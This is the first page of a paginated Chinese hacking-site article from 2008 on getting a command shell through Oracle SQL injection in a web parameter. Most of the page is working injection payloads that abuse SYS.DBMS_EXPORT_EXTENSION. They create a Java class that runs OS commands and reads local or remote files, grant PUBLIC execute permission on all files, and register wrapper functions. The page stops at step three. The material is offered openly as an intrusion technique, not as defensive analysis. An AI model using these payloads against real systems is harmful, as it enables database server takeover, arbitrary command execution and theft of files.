黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客入侵 >> 正文
·没有路由密码权限时的鸽08-23·犀利的 oracle 注入技术10-18
·十个技巧提升你的IE8使用10-18·Orbitfiles提供6G免费网10-18
·FreeMySQL提供MySQL数据10-18·服务器访问帐号设置要安10-17
·ZhengTu盗号马bdscheca010-17·系统安全从定制IP策略开10-17
·从黑客常用的攻击手段分10-17·几秒钟自定制XP启动画面10-17
·文件批量重命名 Win XP自10-17·Trojan-Dropper.Win32.A10-17
·突破FSO限制夺取系统权限10-17·笔记本电脑用户应如何选10-17
·XSS测试语法大全10-17·脱壳的入门教程10-17
·只需两招轻松识破QQ安全10-17·BAT延时执行命令的三种方10-17
·安全顾问教你如何安全使10-17·千脑提供500M免费WebOS网10-17
·Graffiti提供20M免费静态10-17·FreeUnlimitedWeb提供无10-16
·假如对方是个BT 之 \ 被10-15·mysql注入检测工具10-15
·入侵中用到的三大门派的10-15·Power Mixer 系统音量随10-15
·妙用Vista的任务计划解除10-15·善用外力,让Vista系统功10-15
[推荐]犀利的 oracle 注入技术
        ★★★★★

犀利的 oracle 注入技术

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-10-18 11:18:02

介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。

以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)

的形式即可。(用" 'a'|| "是为了让语句返回true值)

语句有点长,可能要用post提交。

以下是各个步骤:

1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:

以下是引用片段:
/xxx.jsp?id=1 and ’1’<>’a’||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual
)
************
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’
create or replace and compile java source named "LinxUtil" as import java.io.*;import java.net.URL; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(filename.startsWith("http")?new InputStreamReader(new URL(filename).openStream()):new FileReader(filename));
String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual
***************
------------------------
如果url有长度限制,可以把readFile()函数块去掉,即:
/xxx.jsp?id=1 and ’1’<>’a’||(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual
)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------

2.赋Java权限

以下是引用片段:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’begin dbms_java.grant_permission( ’’’’’’’’PUBLIC’’’’’’’’, ’’’’’’’’SYS:java.io.FilePermission’’’’’’’’, ’’’’’’’’<<ALL FILES>>’’’’’’’’, ’’’’’’’’execute’’’’’’’’ );end;’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual

3.创建函数

以下是引用片段:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ’’’’’’’’LinxUtil.runCMD(java.lang.String) return String’’’’’’’’;   ’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(’FOO’,’BAR’,’DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ’’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ’’’’
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ’’’’’’’’LinxUtil.readFile(java.lang.String) return String’’’’’’’’;   ’’’’;END;’’;END;--’,’SYS’,0,’1’,0) from dual

 

[1] [2] [3] [4] [5] [6] [7] 下一页

文章录入:cainiaowang    责任编辑:xinlian 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886